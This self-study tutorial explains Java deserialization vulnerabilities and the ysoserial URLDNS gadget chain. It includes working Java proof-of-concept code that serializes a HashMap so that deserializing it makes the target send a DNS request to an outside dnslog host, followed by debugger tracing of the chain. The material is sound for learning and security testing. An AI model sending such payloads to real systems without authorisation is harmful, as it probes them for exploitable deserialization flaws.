Java Code Auditing: An Introduction to Java Deserialization via the URLDNS Chain
A self-study article on Java code auditing that introduces Java deserialization, compares it with PHP deserialization, explains ysoserial and the URLDNS chain, and documents the author’s debugging and analysis process.
Read in Chinese→0x00 Preface
I am teaching myself Java code auditing, mainly studying on my own. It is somewhat like working behind closed doors and learning through search engines, but I still want to document and share the process so that I can summarize and reflect on it in the future. If I eventually manage to learn something, I will reorganize my thoughts and provide a useful path for other self-learners. This is why I created the following series of articles on self-studying Java code auditing.
I had researched this earlier but did not organize it properly. It was delayed because of an HVV assignment, so I am now quickly organizing it and publishing it.
0x01 Introduction to Java Deserialization
The cause of Java deserialization vulnerabilities:
Simply put, they occur when developers override the readObject method and introduce vulnerable code.
Serialization and deserialization themselves are not inherently problematic.
However, when users can control the serialized data being deserialized, an attacker can craft malicious input that causes deserialization to produce unexpected objects and execute arbitrary constructed code during the process.
0x02 Comparison of Deserialization Approaches
Before encountering Java deserialization, I was already familiar with PHP. There are some differences between PHP and Java deserialization.
-
Their most basic principles are similar: repeatedly trace execution paths until a usable gadget chain is found.
-
Both are formatting operations used for data storage.
-
An object’s properties are converted into a data stream according to a specific format. During deserialization, the properties are retrieved according to that format and restored as an object.
-
Java provides the more advanced
writeObject, which allows custom data to be inserted into the serialization stream and subsequently read withreadObjectduring deserialization.
0x021 PHP Deserialization
- We are familiar with the various magic methods: trigger the magic methods and construct a POP chain.
- The purpose of the
wakeupmagic method is to perform certain operations before or after serialization and deserialization. - PHP serialization and deserialization are low-level processes. Developers cannot directly manipulate PHP’s serialization process.
- Once the developer calls the
serializefunction, the serialized data has already been generated. - Magic methods only operate on the object before or after serialization.
0x022 Java Deserialization
- Java behaves differently when serializing an object. Java triggers the gadget chain during serialization, rather than after serialization has completed as PHP does.
- When Java serializes an object, it calls the object’s
writeObjectmethod. - During deserialization, it calls
readObject. - Developers often override the
writeObjectandreadObjectmethods themselves, which can introduce problems and enable the construction of trigger chains.
0x03 Introduction to ysoserial
-
The 2015 Apache Commons Collections deserialization remote command execution vulnerability (the earliest commit of ysoserial).
-
At the same time, RCE vulnerabilities began appearing rapidly across countless Java application systems.
-
ysoserial is a milestone tool for exploiting deserialization vulnerabilities.
-
At first, I thought it was a tool for exploiting one specific vulnerability. Later, after seeing it used for so many vulnerabilities, I realized that it was a general-purpose tool.
-
ysoserial includes various Java deserialization payloads. It can use a selected gadget chain to generate deserialization exploit data, which is then sent to the target to execute commands.
0x04 URLDNS Principles
This is the simplest gadget chain in ysoserial, and it is also frequently used to detect deserialization functionality. The general working principle of the URLDNS POP chain is as follows:
java.util.HashMapoverrides thereadObjectmethod:
During deserialization, it calls the hash function to calculate the key’s hashCode.
-
When calculating the
hashCodeof ajava.net.URLobject, thegetHostAddressmethod is called. -
The
getHostAddressmethod resolves the domain name, thereby issuing a DNS request.
0x05 Building the Vulnerable Code
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
The code generated by ysoserial works on the same principle. The following is a rewritten version based on that principle, which I used for debugging and learning.
The first step of deserialization is to receive an object and then deserialize it.
Therefore, we will locally generate serialized data for testing.```java import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws Exception {
//漏洞出发点 hashmap,实例化出来
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//URL对象传入自己测试的dnslog
URL url = new URL("http://40zkzk.dnslog.cn");
//反射获取 URL的hashcode方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
//使用内部方法
f.setAccessible(true);
// put 一个值的时候就不会去查询 DNS,避免和刚刚混淆
f.set(url, 0xdeadbeef);
hashMap.put(url, "zeo");
// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
f.set(url, -1);
//序列化成对象,输出出来
ObjectOutputStream objos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
objos.writeObject(hashMap);
}
}
Next, begin deserialization to trigger the vulnerability.
```java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class test {
public static void main(String[] args) throws Exception {
//读取目标
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin"));
//反序列化
ois.readObject();
}
}
Triggering It
First, run the first program to generate the serialized data.
Then run the second program to deserialize it and trigger the vulnerability.
Finally, receive the request in DNSLog.
Note: Every time you change the DNSLog address, you must regenerate the serialized data.
0x06 Code Analysis
First, let us look at the gadget chain and become familiar with its path.
HashMap->readObject() 反序列化点触发
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress() 发出解析请求
It all begins with the HashMap class.
As mentioned earlier, the method that triggers deserialization is readObject.
Locate the readObject method in the HashMap class.

The trigger point is on line 1413:
putVal(hash(key), key, value, false, false);
Next is the first argument, the hash\(key\) method.
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
This is where execution switches to another object. The key here is definitely not null, so key.hashCode\(\) is triggered.
The key used here is a java.net.URL object. Let us examine its hashCode method.
[Failed to save externally linked image. The source site may have hotlink protection enabled. It is recommended that you save the image and upload it directly (img-b3LQziqw-1597834189373)(/Users/zy/Library/Application Support/typora-user-images/image-20200813212359358.png)]
Step into the URL object and continue following its hashCode method.
On line 359, the DNSLog address is passed to the getHostAddress method.

Step into it again. On line 442, a single statement directly sends the request.

Before running it:

The URL is requested here, sending out the request.

The DNS request is received, successfully triggering the complete URLDNS chain.

0x07 Pitfalls
When debugging for the first time, beginners may repeatedly fail to find the trigger point and mistakenly assume it is not here, especially at this location:

There are several objects here, so the loop executes multiple times. You must locate the URL object and then step into the argument’s hash function.
